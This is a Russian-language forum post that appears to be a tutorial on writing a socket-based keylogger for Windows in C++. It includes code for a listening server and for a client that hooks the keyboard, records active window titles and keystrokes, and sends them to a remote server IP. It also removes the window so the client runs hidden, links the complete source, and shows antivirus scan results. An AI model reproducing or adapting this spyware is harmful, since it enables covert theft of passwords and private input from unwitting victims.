А прежде чем приступить к прочтению - загляни в мой бложик, там я публикую свои авторские статьи по программированию, вирусологии и прочим интересным вещам Скрытый контент. https://t.me/ims0rryblog Нажмите, чтобы раскрыть... Оригинал статьи - Скрытый контент. http://telegra.ph/Pishem-kejlogger-na-C-12-07 Нажмите, чтобы раскрыть... Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Предисловие На протяжении, примерно, месяца я постоянно наблюдал за различными просьбами, вопросами насчет кейлоггеров. Многие искали, но не могли найти исходники, многие искали, но не могли найти продажники и т.д. https://i.imgur.com/1b2C5cF.png В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда - https://simple-keylogger.github.io/, пофиксил баги и доработал под взаимодействие с WinSocket. Материалы Visual Studio 2015 Community Update 4 Visual C++ 2015 Структура приложения Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка логов на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись логов в бд. Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно. Исходя из выбора, нам нужно будет сделать 2 приложения: Сервер Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли Клиент Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер И начнем мы, пожалуй, с сервера. Сервер Создаем консольное C++ приложение в Visual Studio. Весь код есть в оф. примере MSDN - https://msdn.microsoft.com/en-us/library/ms737593(VS.85).aspx Нам лишь нужно заменить некоторые значения в нем... Сразу пропишем константные переменные: величину буффера и порт сервера, на который будут приходить логи Код: #define DEFAULT_BUFLEN 1024 //Буффер #define DEFAULT_PORT "1337" //Порт Вместо единоразового do/while ставим бесконечный цикл, в котором будем принимать данные от клиента, выводить их в консоль, закрывать соединение и по новой: Код: do { ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог if (iResult > 0) //Если лог не пустой printf("%s", recvbuf); //Выводим closesocket(ClientSocket);//Закрываем соединение memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память } while (true); Компилируем в Release, закидываем на дедик, открываем нужный нам порт и запускаем Клиент Создаем приложение Win32 в Visual Studio. Как я уже и говорил выше, хук клавиатуры и обработчик нажатий я взял с https://github.com/GiacomoLaw/Keylogger/blob/master/windows/klog_main.cpp Чтоб прикрутить отправку нажатия на сокет я обратился к https://msdn.microsoft.com/en-us/library/ms737591(VS.85).aspx Так же, сразу определяем константные переменные: длину буффера, айпи дедика/компа и порт Код: #define DEFAULT_BUFLEN 20000 #define SERVER_IP "127.0.0.1" #define SERVER_PORT "1337" Некоторые переменные пришлось вытащить из их методов и сделать глобальными, чтобы код начал работать корректно: Код: WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; char lastwindow[256]; int Save(int key_stroke);// Убрал второй аргумент Создаем метод отправки данных на сервер по примеру, который был в начале абзаца. Далее, везде заменяем порт, айпи и передаваемую инфу на аргументы функции: Код: void sendData(char *ip, char * port, char*data) В методе Save делаем следующее - убираем второй аргумент и меняем запись логов в файл на отправку к серверу: Код: char data[DEFAULT_BUFLEN]; sprintf(data, "\n\n[Window: %s - at %s]\n", window_title, s); sendData(SERVER_IP, SERVER_PORT, data); Далее, по такому же принципу, меняем отправку в нажатиях служебных клавиш. Отправку букв можно сделать таким образом: Код: char c[512]; sprintf(c, "%c", key_stroke); sendData(SERVER_IP, SERVER_PORT, c); Вырезаем все что связано с видимостью окна из кода, и, готово. Итог При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера). Лог будет выглядеть так: https://i.imgur.com/HorGkPd.png Ссылки Сигнатурные сканы (не спрашивайте зачем просканил сервер, просто так): Keylogger - http://viruscheckmate.com/id/ouECJftx3iK9 Server - http://viruscheckmate.com/id/xs88mfKIcACZ Кейлоггер, взятый за основу - https://simple-keylogger.github.io/ Сокет-сервер - https://msdn.microsoft.com/en-us/library/ms737593(VS.85).aspx Сокет-клиент - https://msdn.microsoft.com/en-us/library/ms737591(VS.85).aspx Готовые исходники проекта - 5]https://github.com/ims0rry/Socket-keylogger[/SIZE]